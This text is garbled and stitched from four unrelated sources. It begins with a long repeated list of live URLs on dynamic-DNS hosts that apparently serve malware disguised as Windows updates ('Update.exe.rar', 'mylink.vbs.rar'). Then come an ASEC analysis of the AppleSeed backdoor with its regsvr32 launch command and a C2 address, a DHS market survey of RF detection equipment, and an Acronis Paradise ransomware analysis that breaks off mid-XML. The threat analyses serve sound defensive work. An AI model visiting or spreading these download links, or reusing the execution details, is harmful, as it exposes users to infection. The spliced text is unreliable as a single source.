http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://atualziarsys.serveirc.com/Update4/Update.exe.rar/ - http://atualziarsys.serveirc.com/Update3/mylink.vbs.rar - http://atualziarsys.serveirc.com/update4 - http://atualziarsys.serveirc.com/update3 - http://suporte01092021.myftp.biz/update/Update.rar - http://suporte01928492.redirectme.net/AppMonitorPlugIn.rar/ - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte01092021.myftp.biz/update5/update.exe.rar - http://atualziarsys.serveirc.com/update4/update.exe2.rar - http://suporte01092021.myftp.biz/update/windowsupdate2.rar - http://suporte20082021.sytes.net/update2/update.exe.rar - http://suporte20082021.sytes.net/update/windowsupdate2.rar - http://atualziarsys.serveirc.com/Update4/mylink.vbs.rar - http://suporte01928492.redirectme.net/Update6/Update.exe.rar - http://suporte20082021.sytes.net/update3/update.exe.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar - http://suporte20082021.sytes.net/update5/update.exe.rar - http://suporte20082021.sytes.net/update5/Update.reg.rar - http://atualziarsys.serveirc.com/Update4/Update.exe2.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/WindowsUpdate2.rar/ - http://suporte01092021.myftp.biz/update - http://atualziarsys.serveirc.com/update3/update.reg.rar/ - http://atualziarsys.serveirc.com/update3/update.exe.rar/ - http://suporte20082021.sytes.net/Update3/Update.exe.rar/ - http://suporte01092021.myftp.biz/update/Windows
# Appleseed Being Distributed to Nuclear Power Plant-Related Companies The ASEC analysis team has recently discovered a case of AppleSeed being distributed to nuclear power plant-related companies. AppleSeed is a backdoor malware used by Kimsuky, one of the organizations affiliated with North Korea, and this malware is being actively distributed to many companies. ## AppleSeed Disguised as Purchase Order and Request Form Being Distributed The filenames of the AppleSeed dropper were identified by the ASEC analysis team as follows, and a double file extension was used to deceive users: - 노**.xls.vbs (Noh**.xls.vbs) - 배치도_고리2호기ISI.pdf.vbs (Layout_KoriNo2ISI.pdf.vbs) When the file is executed, the encoded data inside is decoded and each file is created in the paths below: - [The same path as the vbs file]\Noh**.xls (Normal Excel bait file) - %ProgramData%\qijWq.rSCKPC.b64 (Malicious PE file encoded in a certain format) - %ProgramData%\qijWq.rSCKPC.bat (Batch file that decodes the qijWq.rSCKPC.b64 file) The printed Excel file is automatically opened, making it seem as if the user has opened a normal Excel document. The Excel bait file contains texts related to nuclear power plants. In the background, the qijWq.rSCKPC.bat file in the %ProgramData% path is executed, which decodes qijWq.rSCKPC.b64, ultimately creating the qijWq.rSCKPC file (DLL PE). Afterward, the dropped malware is executed via regsvr32, a program that executes DLL files. The exact execution argument is as follows: ``` regsvr32 /s /i:123579ASDFG C:\ProgramData\qijWq.rSCKPC ``` After the file is executed, the malware accesses the C2 below to receive and carry out the commands. Then, it encodes the results in a certain format to transmit to C2: - C2: hxxp://ndt.info[.]gf/index.php ### Commands - die: Terminate - getinfo: PC information - where: Currently running path - run: Executes certain files or commands The attacker can use the run command to execute desired behaviors, as well as download and execute additional malware files such as AppleSeed. Because the bait file is also run, users normally cannot recognize that their systems are infected by malware. As the files mentioned above mainly target certain companies, users should refrain from running attachments in emails sent from unknown sources. AhnLab’s anti-malware software, V3, is currently detecting and blocking the files using the following aliases: ### File Detection - Dropper/VBS.Generic.SC183898 - Dropper/Win.AppleSeed.R531012 - Dropper/VBS.VBS ### IOC Info - 55a9a935b36da90fb5a7ab814d567a40 - ba83312ea92c284c710bcc0906a29fb1 - hxxp://ndt.info[.]gf/index.php Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to check related IOC and detailed analysis information. **Categories:** Malware Information **Tagged as:** AppleSeed, Kimsuky, malware
# Radio Frequency Detection, Spectrum Analysis, and Direction Finding Equipment Market Survey Report ## EXECUTIVE SUMMARY In recent years, radio frequency (RF) jammers have become increasingly accessible to the public. While most RF jamming is benign and simply intended to provide extra privacy, first responder operations have also been specifically targeted by jamming and interference attacks. RF detection, spectrum analysis, and direction finding equipment can be used to detect, identify, and locate RF interference sources that may be disrupting first responder communications systems. Many RF technologies are available for operational field usage, as opposed to laboratory usage. This allows for quick deployment, letting responders locate and mitigate radio interference. Some of these products can be installed as a permanent fixed sensor or can be portable and deployed temporarily as a fixed sensor. Other products are handheld and mobile, allowing responders to thoroughly search an area, which may be affected by RF interference. Some of these products have features such as built-in map and spectrum plot displays to provide data visualization or internal storage drives that allow data to be recorded for future analysis. These technologies can detect RF interference sources at frequencies as low as 9 kHz and as high as 18 GHz. The purpose of this market survey report is to provide emergency responders with information on RF detection, spectrum analysis, and direction finding equipment that are commercially available in order to guide purchasing and acquisition decision-making. In June 2018, NUSTL, through its System Assessment and Validation for Emergency Responders (SAVER) Program, conducted a market survey of RF detection, spectrum analysis, and direction finding equipment. The survey produced 14 products ranging in price from $15,000 to $270,000. The results of the market survey are highlighted in this report. Performance of these products has not been independently verified by NUSTL. Emergency response agencies that consider purchasing RF detection, spectrum analysis, and direction finding equipment should carefully research the overall capabilities and limitations and technical specifications of each system in relation to their agency’s operational needs. ## 1.0 INTRODUCTION Radio frequency (RF) detection and spectrum analysis equipment includes devices that can detect, identify, and analyze RF signals transmitted by various sources. RF direction finding equipment includes devices that measure and triangulate the direction from which an RF signal was transmitted. These devices can be used to identify and locate transmissions from suspicious or threatening sources, including RF interference that may be blocking first responder communications or damaging electronic devices. NUSTL, through its System Assessment and Validation for Emergency Responders (SAVER) Program, conducted a market survey to provide emergency responders with information on RF detection, spectrum analysis, and direction finding equipment. This market survey report is based on information gathered during June 2018 from vendor websites, internet research, industry publications, and a government-issued Request for Information (RFI) that was posted on the Federal Business Opportunities website. For inclusion in this report, products had to meet the following criteria: - Product must be commercially available. - Product must be designed for usage in the field rather than in a laboratory environment. - Product must be designed to detect RF signals intended to interfere with first responder communications systems. Due diligence was performed to develop a report that is representative of products in the marketplace. ## 2.0 RF DETECTION, SPECTRUM ANALYSIS, AND DIRECTION FINDING EQUIPMENT OVERVIEW In recent years, RF jammers have become increasingly accessible to the public. While most RF jamming is simply intended to provide extra privacy, first responder operations have also been specifically targeted by jamming and interference attacks. Radio interference works by targeting receivers. An RF jammer will transmit a signal on the same frequency as the desired signal. The jamming signal may be received at the same power level or a greater power level, thus preventing receivers from being able to distinguish the desired signal from the jamming signal. While radio communications may be the most obvious target of RF jammers, these interference sources can also disrupt the operation of other devices that communicate wirelessly. An example of this is the usage of a Global Positioning System (GPS) jammer by a truck driver to avoid paying highway tolls and avoid being tracked by his or her employer. Alternatively, an example of an RF jammer specifically targeting first responder operations is an interference source preventing a control center from receiving video uploaded by traffic cameras. ### 2.1 CURRENT TECHNOLOGIES The technologies listed in this report range from fixed site sensors with omnidirectional antennas for spectrum monitoring to mobile handheld sensors with directional antennas for direction finding. Most of the products in this report can operate as a standalone sensor. However, some products, especially fixed site sensors, can be networked for greater monitoring coverage. While some of the technologies include a built-in display, many use an external laptop or tablet, which provides a spectrum analyzer or a map display locating any detected RF jamming and interference sources. ### 2.2 APPLICATIONS As mentioned above, RF jamming and interference can disrupt first responder communications during emergency response operations. RF detection devices can be used to identify any RF interference that might impact communications. Spectrum analysis devices can be used to determine the frequency and received strength of RF interference. Spectrum analysis devices can also be used to identify frequencies that are free of interference should a responder use channel switching as an RF jamming mitigation tactic. RF direction finders can assist in locating RF jamming devices. If the interference source is located, responders can apply direct mitigation tactics to overcome the impacts of RF jamming. ## 3.0 PRODUCT INFORMATION This section provides information on 14 RF detection, spectrum analysis, and direction finding devices that range in price from $15,000 to $270,000. Table 3-1 provides general product characteristics and/or specifications. Product information presented in this section was obtained directly from manufacturers, vendors, and their websites. The information has not been independently verified by the SAVER Program. ### Table 3-1 Product Comparison Matrix | Manufacturer | Product | Price | Detection Bandwidth | Scanning Bandwidth | Receiver Sensitivity | |--------------|---------|-------|---------------------|--------------------|----------------------| | Alion | Versatile RF Automated Monitoring System | $76,270.53 | 20 MHz to 6 GHz | 10 Hz to 650 kHz | 22 dB, centered at 2 GHz | | Applied Signals Intelligence | ASI 2020 DF Fixed Site | $125,000 | 2 MHz to 600 MHz | 1 MHz | -134 dB to -123 dB | | Applied Signals Intelligence | ASI 2020 DF Backpack | $100,000 | 2 MHz to 600 MHz | 1 MHz | -134 dB to -123 dB | | Chemring Technology Solutions | Resolve 3 HF/VHF/UHF Direction Finding System | $150,000 | 1 MHz to 3 GHz | 40 MHz | <20 dB to <6 dB, dependent on frequency | | CRFS | RF Eye Node | See Table 3-2 | See Table 3-2 | See Table 3-2 | See Table 3-2 | | CRFS | RF Eye Guard | $130,000 | Integrated into the system | Integrated into the system | Integrated into the system | | CRFS | RF Eye Array | See Table 3-3 | See Table 3-3 | See Table 3-3 | See Table 3-3 | | DGS | SigBASE 6000 | $50,629 | 50 MHz to 6 GHz | 20 MHz to 80 MHz | Dependent on RF Eye | | DGS | SigBASE 4000 | $7,999 | 70 MHz to 6 GHz | 20 to 40 MHz | -114 dBm with 1 kHz bandwidth | | LS Telcom | LS Observer | $27,600 (FMU); $34,500 (PPU); $33,400 (PMU) | 9 kHz to 18 GHz | 100 kHz to 18 GHz | Dependent on frequency | | PC TEL | SeeWave Interference Locating System | $25,445 | 690 MHz to 6 GHz | 5 kHz to 20 MHz | -120 dBm to centered at 30 kHz | | Rohde and Schwarz | PR100 Portable Receiver | $24,000 | 9 kHz to 7.5 GHz | Contact Rohde and Schwarz for specifications | Contact Rohde and Schwarz for specifications | | Rohde and Schwarz | DDF007 Portable Direction Finder | $150,000 | 20 MHz to 6 GHz | Contact sales rep for specifications | Contact sales rep for specifications | | Rohde and Schwarz | NESTOR Mobile Network Survey Software and RF Scanner | Contact Rohde and Schwarz for pricing | 350 MHz to 4.4 GHz | 140 Hz to 1.438 MHz | -126 dBm with a 22.46 kHz bandwidth | *This information was not given because it is considered proprietary or competition specific by the vendor. ## 3.1 ALION VERSATILE RF AUTOMATED MONITORING SYSTEM The Alion Versatile RF Monitoring System (V-RAMS) is capable of RF detection, spectrum analysis, and direction finding. Key spectrum analysis features of the V-RAMS include stored trace, parametric and in-phase and quadrature (I/Q) data; terrain mapping of potential interference sources; editable spectrum masks; and a licensed database of emitters for identification of detected signals. The V-RAMS can function in spectrum survey mode, manual or semi-automated mode, or real-time interference forensics and enforcement mode. The V-RAMS is a portable deployable system that operates as a fixed sensor system. The product can act as a standalone sensor or be networked with other V-RAMS units. The fixed yet portable setup enables real-time electromagnetic emissions monitoring, allowing users to track spectrum usage, recognize anomalous signals, and identify potential interference sources. V-RAMS alerts users to threshold violations as they occur, through audio, visual, or email alerts. V-RAMS also incorporates a graphical user interface (GUI) software that can be run on Windows operating systems. The GUI can play back spectrum files and display parametric data of detected signals with a terrain map showing nearby transmitters. Azimuth charts can also be displayed if a directional antenna system is used. The V-RAMS is capable of detecting RF signals within the bandwidth of 20 MHz to 6 GHz. An optional range extension to 75 GHz is also available. The scanning bandwidth of the V-RAMS ranges from 10 Hz to 650 kHz. The noise floor of the V-RAMS is 22 dB at 2 GHz. An external low noise amplifier (LNA) can increase the sensitivity of the receiver. The vendor specifies the entire system weighs less than 30 pounds. The price of the V-RAMS, as quoted by Alion, is $76,270.53. ## 3.2 APPLIED SIGNALS INTELLIGENCE ASI 2020 DF FIXED SITE The Applied Signals Intelligence ASI 2020DF Fixed Site is capable of RF detection, spectrum analysis, and direction finding. The technology is a fixed site sensor that can intercept and locate analog and digital RF emitters in the high frequency (HF), very high frequency (VHF), and ultra-high frequency (UHF) frequency bands. The product can act as a standalone sensor or be networked for interoperability and data sharing with multiple systems. The ASI 2020DF Fixed Site includes a user-interface software application that can be used with Windows-based operating systems. The interface provides spectrum plots and map displays as well as receiver control, search and scan, record, and other basic receiver functions. The software application can record audio files, geolocation data, and digital mobile radio metadata, which can be stored on internal or external hard drives. The ASI 2020DF has a detection bandwidth of 2 MHz to 600 MHz. The scanning bandwidth of the product is 1 MHz with an available extension up to 50 MHz for permanent fixed site installations. The receiver sensitivity, while dependent on frequency, ranges from -134 dB to -123 dB. The maximum detection range, as given by the vendor, is 10 to 15 miles; however, this is dependent on factors including the transmission frequency and power of the RF interference source and attenuation due to environmental conditions. Software-defined radio hardware used with the system is 12 x 5 x 2.75 inches and weighs 4.75 pounds. The antenna is 45 x 8.5 x 8.5 inches and weighs 12 pounds. The ASI 2020DF Fixed Site costs approximately $125,000. ## 3.3 APPLIED SIGNALS INTELLIGENCE ASI 2020 DF BACKPACK The Applied Signals Intelligence ASI 2020DF Backpack is a mobile version of the fixed site sensor. The ASI 2020DF Backpack is designed for on-the-move operation and can be concealed for covert operations. The backpack version of the product also includes a ruggedized tablet on which the user interface software application is loaded. The ASI 2020DF Backpack has a detection bandwidth of 2 MHz to 600 MHz. The scanning bandwidth of the product is 1 MHz. The receiver sensitivity, while dependent on frequency, ranges from -134 dB to -123 dB. The maximum detection range is 10 to 15 miles; however, this is dependent on factors including the transmission frequency and power and environmental conditions. Software-defined radio hardware used with the system is 12 x 5 x 2.75 inches and weighs 4.75 pounds. The antenna is 16.2 x 9.1 x 4.3 inches and weighs 2.4 pounds. The ASI 2020DF Backpack costs approximately $100,000. ## 3.4 CHEMRING TECHNOLOGY SOLUTIONS RESOLVE 3 HF/VHF/UHF DIRECTION FINDING SYSTEM The Resolve 3 Direction Finding System was developed by Chemring Technology Solutions and is distributed in North America by Rapid Response Defense Systems. The system is designed as a man-portable direction finding system. The Resolve 3 provides operators wideband direction finding capabilities and real-time position fixing in the HF, VHF, and UHF bands. The Resolve 3 is modular and scalable, which enables mission-specific tasking. System configurations allow for operation in a static position, on the march (on foot), and on the move (vehicle). While designed as a mobile solution, the Resolve 3 can also be used as a fixed site sensor. The product can be deployed as a standalone device and can be networked with other sensors through a wide variety of communications networks. The Resolve 3 can be operated with either the TacFix software loaded onto a tablet running an Android operating system or the PreFix software loaded onto a laptop running a Windows operating system. The TacFix software allows for easy spectral surveying and monitoring and provides Esri maps for plotting direction-finding results. The TacFix also provides an audio alert when a potential RF interference source is detected. The PreFix software provides spectral displays, spectrograms, and Esri mapping. Any data accessed on the PreFix software can be saved to the laptop’s internal hard drive for future analysis. The Resolve 3 has a detection bandwidth of 1 MHz to 3 GHz for intercepting and receiving signals and 2 MHz to 3 GHz for direction finding with a scanning bandwidth of 40 MHz and a scan rate of 1.5 GHz/sec. The receiver sensitivity of the system is less than 20 dB from 1 MHz to 30 MHz, less than 20 dB from 30 MHz to 1690 MHz, and less than 6 dB at 1690 MHz, increasing linearly to less than 16 dB at 3000 MHz. The system weight, as given by the vendor, depends on the configuration, ranging from less than 18 pounds for a man-portable system to a maximum of 60 pounds for a fully configured fixed system. The Resolve 3 costs $150,000 per unit and is subject to additional costs for accessories and training. ## 3.5 CRFS RF EYE NODE 20-6, 50-8, 100-8, 100-18 The CRFS RF Eye Node is an intelligent wideband receiver capable of RF detection and spectrum analysis. The receiver can be deployed as a fixed sensor or a mobile sensor. It can also be integrated into the RF Eye Guard system. Multiple models of the RF Eye Node are available with total bandwidths up to 18 GHz and instantaneous bandwidths up to 100 MHz. Specifications of each model are listed in Table 3-2. The RF Eye Node is equipped with an internal solid-state drive (SSD) to save data for future analysis. Various outdoor kits are available for the RF Eye Node. The RF Eye Node can be integrated into the RF Eye Guard and the RF Eye Array, both of which are described below. ### Table 3-2 Comparison of RF Eye Node Models | RF Eye Node Model | Detection Bandwidth | Instantaneous Bandwidth | Minimum Frequency Resolution | Noise Floor | Receiver Sensitivity | Base Cost | System Cost | |-------------------|---------------------|-------------------------|------------------------------|-------------|----------------------|-----------|-------------| | 20-6 | 10 MHz to 6000 MHz | 20 MHz | 18 Hz | 8 dB to 11 dB | -126 dBm | $21,000 | $96,000 | | 50-8 | 0.009 MHz to 8000 MHz | 50 MHz | 1 Hz | 6 dB to 10 dB | -128 dBm | $26,500 | $147,000 | | 100-8 | 0.009 MHz to 8000 MHz | 100 MHz | 1 Hz | 6 dB to 10 dB | -128 dBm | $36,500 | $177,000 | | 100-18 | 0.009 MHz to 18000 MHz | 100 MHz | 1 Hz | 8.5 dB to 13 dB | -125 dBm | $60,000 | $247,500 | *Noise floor specifications in this table represent a 10 kHz bandwidth centered at 1 GHz. System cost includes 3 RF Eye Nodes and accompanying software. ## 3.6 CRFS RF EYE GUARD The CRFS RF Eye Guard continuous TSCM (Technical Surveillance Countermeasures) monitoring system is used for detection and spectrum analysis of RF listening devices (or bugs). The RF Eye Guard is designed for use in buildings and is typically installed in ceiling tiles. The system is integrated with the RF Eye Node and can be a permanent security fixture or a temporary installation. A software-based user interface displays spectrum plots and detailed floor plans locating any detected transmitters. The RF Eye Guard can locate interference sources within buildings by using time delay of arrival (TDOA) or Power on Arrival techniques. An internal SyncLinc timing system allows all nodes in a building to synchronize time within 10 to 20 nanoseconds without the need for GPS or other timing sources. The system is capable of generating permanent records of RF emission detections and can be configured to generate alarms and notifications in case an RF interference source is detected. Technical specifications including detection bandwidth, instantaneous bandwidth, minimum frequency resolution, noise floor, and receiver sensitivity are all dependent on the RF Eye Node model used with the system. The cost of the RF Eye Guard, as quoted by the vendor, is $130,000. This cost includes three RF Eye Nodes and accompanying software. ## 3.7 CRFS RF EYE ARRAY 50, 100, 125, 150, 300 The CRFS RF Eye Array is an integrated RF detection, spectrum monitoring, and direction finding system designed for vehicle-mounted, transportable, or ground-fixed installations. The RF Eye Array can serve as a standalone sensor or be integrated with other RF Eye Arrays or RF Eye Nodes. A software-based user interface provides spectrum plot and map displays. Like the RF Eye Node, multiple models of the RF Eye Array are available with different maximum bandwidths and instantaneous bandwidths. Detection bandwidth, instantaneous bandwidth, minimum frequency resolution, noise floor, and receiver sensitivity are all dependent on the RF Eye Node model used with the system. Specifications for each model are listed in Table 3-3. The size of the RF Eye Array 50 is 17.9 x 7.9 inches with a weight of 11 pounds. The 100, 125, and 150 models are all 25.6 x 16.5 inches with a weight of 61.7 pounds. The RF Eye Array 300 is 43 x 31 inches with a weight of 176 pounds. ### Table 3-3 Comparison of RF Eye Array Models | RF Eye Array Model | Integrated RF Eye Node Model | Detection Bandwidth | Direction Finding Bandwidth | Instantaneous Bandwidth | Minimum Frequency Resolution | Noise Floor | Receiver Sensitivity | Base Cost | System Cost | |--------------------|------------------------------|---------------------|----------------------------|-------------------------|------------------------------|-------------|----------------------|-----------|-------------| | 50 | One 20-6 | 10 MHz to 6000 MHz | 500 MHz to 6000 MHz | 20 MHz | 18 Hz | 8 dB to 11 dB | -126 dBm | $62,000 | $103,000 | | 100 | One 50-8 | 0.009 MHz to 8000 MHz | 500 MHz to 8000 MHz | 50 MHz | 1 Hz | 7 dB to 12 dB | -127 dBm | $79,000 | $120,000 | | 125 | One 100-8 | 0.009 MHz to 8000 MHz | 500 MHz to 8000 MHz | 100 MHz | 1 Hz | 7 dB to 12 dB | -127 dBm | $89,000 | $130,000 | | 150 | One 100-18 | 0.009 MHz to 18000 MHz | 500 MHz to 18000 MHz | 100 MHz | 1 Hz | 8.5 dB to 13 dB | -125 dBm | $124,000 | $165,000 | | 300 | Two 100-8 | 0.009 MHz to 8000 MHz | 500 MHz to 8000 MHz | 100 MHz | 1 Hz | 6 dB to 8.5 dB or 10 dB to 13 dB | -125 dBm | $232,000 | $263,500 | *Noise floor specifications in this table represent a 10 kHz bandwidth centered at 1 GHz. System cost includes RF Eye Array, mounting accessories, and accompanying software. The RF Eye Array 300 system cost does not include mounting accessories.
# Paradise Ransomware Strikes Again **January 22, 2018 — Acronis Security Team** The Paradise ransomware that was active in September 2017 is back with a new round of attacks, starting at the beginning of January 2018. Leveraging the Ransomware as a Service (RaaS) model, the Paradise strain provides an unbreakable encryption scheme by using the RSA cipher for file encryption – which is an unusual cipher choice. The ransomware’s executable file is archived and spread via spam email as a zip attachment. To become infected, a user opens the attachment, unpacks it, and executes the extracted application. ## Static Analysis The ‘DP_Main.exe’ ransomware file is a .NET compiled executable and requires .NET Framework 3.5 to start on a user’s machine (MD5: 8aa00ee509a649619794fc1390319293). The PE file is 36,684 bytes and was compiled on January 5, 2018. ## Installation The malware copies itself to the following folder on a user’s computer: `C:\Users\<USER>\AppData\Roaming\DP\` The executable adds the reference to itself in the Autorun Windows registry key as the following value: `‘DP_Main’ = ‘c:\Users\<USER>\AppData\Roaming\DP\DP_Main.exe’` ## Key Generation The ransomware creates ‘DecryptionInfo.auth’ file in the following folders: - `%USER%\` - `%USER%\Desktop\` - `Program Files\` The key file contains the session RSA private key in the XML format, encrypted with the master RSA public key and Base64 encoded: ```xml <RSAKeyValue> 